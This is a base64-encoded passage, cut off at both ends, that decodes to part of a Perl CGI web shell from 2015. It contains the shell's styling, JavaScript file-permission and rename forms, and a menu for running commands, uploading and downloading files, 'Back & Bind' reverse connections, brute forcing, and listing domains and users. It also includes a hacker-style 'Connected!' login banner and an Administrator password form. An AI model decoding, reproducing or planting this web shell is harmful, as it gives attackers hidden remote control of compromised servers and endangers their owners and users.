ICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFNhbHNhOw0KfQ0KDQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQoNCg0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgU2Fsc2E7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFNhbHNhIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgU2Fsc2EgYm9sZDsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KDQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCg0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLw0KCXZhciBhamF4PSIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlNhbHNhIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNjYzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjY2MwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJTYWxzYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFNhbHNhOyBjb2xvcjogeWVsbG93OyI+Q29weXJpZ2h0IChDKSAyMDE1IENhaHlvIER3aSBQdXRybzwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgZmFjZT0iU2Fsc2EiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIiBmYWNlPSJTYWxzYSI+IFRyeWluZyBjb25uZWN0IHRvIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiIGZhY2U9IlNhbHNhIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+flwkPC9mb250PiBDb25uZWN0ZWQgISA8L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiIGZhY2U9IlNhbHNhIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgZmFjZT0iU2Fsc2EiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCIgZmFjZT0iU2Fsc2EiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgZmFjZT0iU2Fsc2EiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48Zm9udCBjb2xvcj0iI0YwMDAwMCI+XCQ8L2ZvbnQ+PC9mb250PiBPSyEgWW91IGNhbiBraWxsIGl0ITwvZm9udD4NCjwvdHI+DQo8L3Rib2R5PjwvdGFibGU+DQo8YnI+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOw0KVHlwaW5nVGV4dC5ydW5BbGwoKTsNCg0KPC9zY3JpcHQ+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7DQoJJHRleHQgPX4gcy88LyZsdDsvZzsNCgkkdGV4dCA9fiBzLz4vJmd0Oy9nOw0KCXJldHVybiAkdGV4dDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEFkZExpbmtEaXIoJCkNCnsNCglteSAkYWM9c2hpZnQ7DQoJbXkgQGRpcj0oKTsNCglpZigkV2luTlQpDQoJew0KCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOw0KCX1lbHNlDQoJew0KCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOw0KCX0NCglteSAkcGF0aD0iIjsNCglteSAkcmVzdWx0PSIiOw0KCWZvcmVhY2ggKEBkaXIpDQoJew0KCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsNCgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLiRwYXRoLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8YnI+PGZvbnQgZmFjZT0iU2Fsc2EiPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KPGZvbnQgZmFjZT0iU2Fsc2EiPlBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8Zm9udCBmYWNlPSJTYWxzYSI+TG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KPGZvbnQgZmFjZT0iU2Fsc2EiPlBhc3N3b3JkOiZuYnNwOzxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBh